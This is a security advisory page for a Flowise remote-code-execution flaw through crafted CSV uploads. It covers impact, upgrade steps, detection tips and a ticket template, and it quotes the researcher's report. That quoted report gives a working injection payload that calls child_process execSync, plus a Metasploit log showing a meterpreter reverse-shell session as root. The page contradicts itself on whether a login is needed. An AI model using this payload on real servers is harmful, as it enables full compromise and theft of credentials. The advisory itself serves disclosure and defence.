Flowise can run any command on the server as root through CSV uploads

CriticalSE Fix-First Score 51/100CVE-2026-69255SE-AIV-01678Reading or writing files it should notAI apps and chat interfacesMade public 4 Aug 2026

Download as PDF

What this means

An attacker with login access can upload a specially crafted CSV file that runs any command on the server with root privileges. This means they can steal all data, change system settings, install malware, or take the server offline. All credentials, API keys, chat history, and trained models stored on that server are at risk.

SecurityElites Manager Brief: the decision in one minute

Flowise versions before 3.1.3 allow logged-in users to execute arbitrary commands as root by uploading a malicious CSV file. This is critical because attackers can fully control the server and steal everything on it. You must upgrade to 3.1.3 immediately.

SecurityElites Fix-First Score51 of 100
Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity.
SecurityElites fix windowWithin 7 days
Critical severity. This is our suggestion from common practice; your own policy comes first.
Who should own the fixPlatform engineering or DevOps team (owns Flowise deployment and updates).
Likely effortAbout 15 minutes per Flowise installation: update the npm packages and restart the application. Longer if you have many instances or if you need to audit what happened during the exposure window.

Questions to ask your team or supplier

  • Do we know which versions of Flowise and flowise-components are running in production, test, and development? Are all of them at 3.1.3 or later?
  • Have we checked the logs from before the upgrade for signs that this vulnerability was exploited? Do we know if any data was read or commands were run?
  • Who has access to upload CSV files in Flowise, and are they all trusted? Should we add extra review or approval steps for CSV uploads in the future?

Message you can forward to the owning team

Security notice: Flowise can run any command on the server as root through CSV uploads (CVE-2026-69255)

Severity: Critical
SecurityElites Fix-First Score: 51 of 100
SecurityElites fix window: Within 7 days
Action: upgrade to flowise 3.1.3, flowise-components 3.1.3 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-69255-flowise-can-run-any-command-on-the-server-as/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01678

What is at stake in your AI setup

  • Chat history and conversation logs: an attacker can read all past conversations, including user prompts, model responses, and any data discussed in chats.
  • API keys and credentials: an attacker can steal keys for external AI services, language models, or cloud providers, then use them to generate costs or access other systems.
  • Trained models and fine-tuning data: an attacker can download or modify any models stored on the server, or steal training data used to build them.
  • Tools and integrations connected to the agent: an attacker can use the compromised Flowise instance to trigger actions in other systems (send emails, modify databases, call APIs) on behalf of the legitimate user.

Map where your company uses AI

Who is exposed

  • Any team running Flowise versions before 3.1.3 with untrusted users or external login access.
  • Services that expose Flowise login to the internet or to a shared corporate network.
  • Environments where the Flowise container or process runs as root (most default setups).
  • Systems where Flowise stores sensitive data: chat history, API keys, database credentials, or trained models.

Upgrades you need

SoftwareAffected versionsMove to
flowise
npm
Every version before 3.1.33.1.3 or later
flowise-components
npm
Every version before 3.1.33.1.3 or later

Am I affected?

Enter the version you run. Nothing you type is stored.

SecurityElites Developer Brief: the technical picture

Is it being attackedWorking attack code is public, so expect attacks to follow
Where the attacker must beAnywhere that can reach it over a network, including the internet if it is exposed
Account neededNone. No login is needed
Does a person have to do somethingNo. It works without anyone clicking or opening anything
How hard it is to doEasy. It works reliably once the attacker can reach it
Risk of: data being readHigh
Risk of: data or settings being changedHigh
Risk of: the service being taken downHigh
Can attackers automate it at scaleNo, according to CISA. Each target needs manual work
How much control an attacker gainsTotal control of the affected software, according to CISA

Read from the official severity rating: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Kind of coding mistake

  • CWE-94: code can be injected

If you cannot upgrade today

  • Until you can upgrade, disable CSV file upload in Flowise or restrict access to it. This may require disabling the CSVAgent node entirely or limiting who can create new chatflows.
  • Restrict login to Flowise to trusted internal users only. Remove any external-facing login or public access. This reduces the attack surface but does not prevent attacks by insiders.

Signs it may already have been used against you

  • Check Flowise application logs for Python errors, 'child_process', or 'execSync' keywords during times when CSV files were uploaded.
  • Review system logs (syslog, container logs) for unexpected commands run as root or unusual process spawning around the time Flowise ran version 3.1.2 or earlier.
  • Look in the Flowise database for suspicious or unknown chatflows or CSV uploads from users.
  • Check file and directory access times for sensitive files (credentials, API keys, database files) to see if they were read by an unexpected process.

SecurityElites Fix Guide: step by step

  1. Find where Flowise is installedCheck all servers, containers, and development machines that run Flowise. Look in package.json files, npm global packages, and Docker images for 'flowise' or 'flowise-components'. Note the full path to each installation and the current version.
  2. Check the current version of flowise and flowise-componentsRun 'npm list flowise flowise-components' in the directory where Flowise is installed, or check package.json. Record the version for each package. If either version is below 3.1.3, your system is affected.
  3. Back up the Flowise data directoryCopy the entire Flowise data folder (usually .flowise in the home directory or a custom path) to a safe location. This includes the database, API keys, and chat history. If you need to investigate what happened, you will need this backup.
  4. Upgrade flowise and flowise-components to version 3.1.3Run 'npm install flowise@3.1.3 flowise-components@3.1.3' in the Flowise directory. If Flowise is installed globally, use 'npm install -g flowise@3.1.3'. If you are using Docker, rebuild the image with the updated packages and restart the container.
  5. Restart the Flowise service or applicationStop and start Flowise so the new code runs. If Flowise runs as a service, use 'systemctl restart flowise' or the equivalent for your system. If it runs in Docker, restart the container. Wait for it to be fully ready before testing.
  6. Confirm the upgrade workedRun 'npm list flowise flowise-components' again and confirm both packages show version 3.1.3 or later. Log in to the Flowise web interface and check that it loads without errors.
  7. Look for signs of past attacksCheck the Flowise logs (usually in .flowise/logs or printed to stdout) for unusual activity around the time the system was running an older version. Look for unexpected file access, command execution, or errors during CSV uploads. If you find signs of an attack, treat all credentials and data on that server as compromised.
  8. If you find evidence of compromise, rotate all credentials and audit data accessChange all passwords used by or stored in Flowise. Rotate API keys for any external services Flowise connects to. Check if any data was read or modified by reviewing audit logs, database changes, and file access times. If you cannot determine the scope, assume all data on that server was exposed.

How to confirm it is fixed: Run 'npm list flowise flowise-components' and confirm both packages are version 3.1.3 or later; also log in to Flowise and check that the web interface loads without errors.

SecurityElites Quick Fixes: copy and paste

Upgrade flowise with npmupgrade

npm install flowise@3.1.3
npm ls flowise

Upgrade flowise-components with npmupgrade

npm install flowise-components@3.1.3
npm ls flowise-components

Check installed versions of Flowise packagesfor this issue

npm list flowise flowise-components

Check Flowise version in package.jsonfor this issue

grep -A 2 '"flowise' package.json

Keep file access inside one directory (Python)general hardening

from pathlib import Path

BASE = Path("/srv/app/data").resolve()

def safe_path(name: str) -> Path:
    p = (BASE / name).resolve()
    if not p.is_relative_to(BASE):
        raise ValueError("path outside allowed directory")
    return p

Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.

Let your AI coding assistant do the upgrade

Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.

Instruction for your coding assistant

You are helping me fix a security vulnerability (CVE-2026-69255) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n   - flowise (npm): must be 3.1.3 or later
   - flowise-components (npm): must be 3.1.3 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.

SecurityElites Incident Drill: could your team handle this?

Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.

How would you confirm that your Flowise installation is no longer vulnerable to this attack?A good answer: Run 'npm list flowise flowise-components' and verify that both packages show version 3.1.3 or later.
What is the most damaging thing an attacker could do with this vulnerability?A good answer: They can run commands as root, so they can steal all data, change settings, install malware, or crash the server entirely.
If you notice that Flowise was running version 3.1.2 or earlier for three months, what should you do?A good answer: Treat all data, credentials, and API keys stored in or accessible from that Flowise instance as compromised, rotate all secrets, and check logs for unusual activity.
What precaution could have prevented this attack before the upgrade was available?A good answer: Restricting login to Flowise to trusted internal users only, or disabling CSV file uploads altogether, would have reduced the attack surface significantly.

Run a full timed drill with your team

Ticket for your backlog

Paste into Jira, GitHub Issues or any tracker that reads Markdown.

Ready-made ticket

## Flowise can run any command on the server as root through CSV uploads (CVE-2026-69255)

**Severity:** Critical  |  **SE Fix-First Score:** 51/100  |  **Fix window:** Within 7 days
**Record:** SE-AIV-01678 https://securityelites.com/ai-vulnerabilities/cve-2026-69255-flowise-can-run-any-command-on-the-server-as/

### Why this matters
An attacker with login access can upload a specially crafted CSV file that runs any command on the server with root privileges. This means they can steal all data, change system settings, install malware, or take the server offline. All credentials, API keys, chat history, and trained models stored on that server are at risk.

### What to do
1. Find where Flowise is installed
2. Check the current version of flowise and flowise-components
3. Back up the Flowise data directory
4. Upgrade flowise and flowise-components to version 3.1.3
5. Restart the Flowise service or application
6. Confirm the upgrade worked
7. Look for signs of past attacks
8. If you find evidence of compromise, rotate all credentials and audit data access

Full steps: https://securityelites.com/ai-vulnerabilities/cve-2026-69255-flowise-can-run-any-command-on-the-server-as/

### Done when
- [ ] flowise is at 3.1.3 or later everywhere it is installed
- [ ] flowise-components is at 3.1.3 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Run 'npm list flowise flowise-components' and confirm both packages are version 3.1.3 or later; also log in to Flowise and check that the web interface loads without errors.
- [ ] Logs were checked for signs of earlier use

SecurityElites Fix Tracker

Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.

Sign in to track this fix

Change history

  • 4 Aug 2026: Made public
  • 2 Dec 2026: Published

Official record

## UPDATE 2026-05-20: Full RCE as root VERIFIED**This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.**### Verified Exploit Chain1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container)### Working RCE Payload``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ```**Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas.### Metasploit Session Proof``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit[+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)meterpreter > getuid Server username: rootmeterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linuxmeterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)# uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ```### Additional Verified Impact**Credential Theft:** ``` FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ```**Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7`**Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely.### CVSS v3.1: 9.9 CRITICAL`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`---## Original Report (below)## Vulnerable Code**File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`**Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content.**Lines 155-171** — Direct interpolation into executable Python code: `base64_string = "${base64String}"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.`validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.## Remediation**Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation**Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/`**Option 3:** Escape special characters (`"`, `\n`, `\r`, `\\`) before interpolation## Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape)**Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Weakness type: CWE-94

Use this record in your own tools

Get this record as JSON

curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-69255

For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker

The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.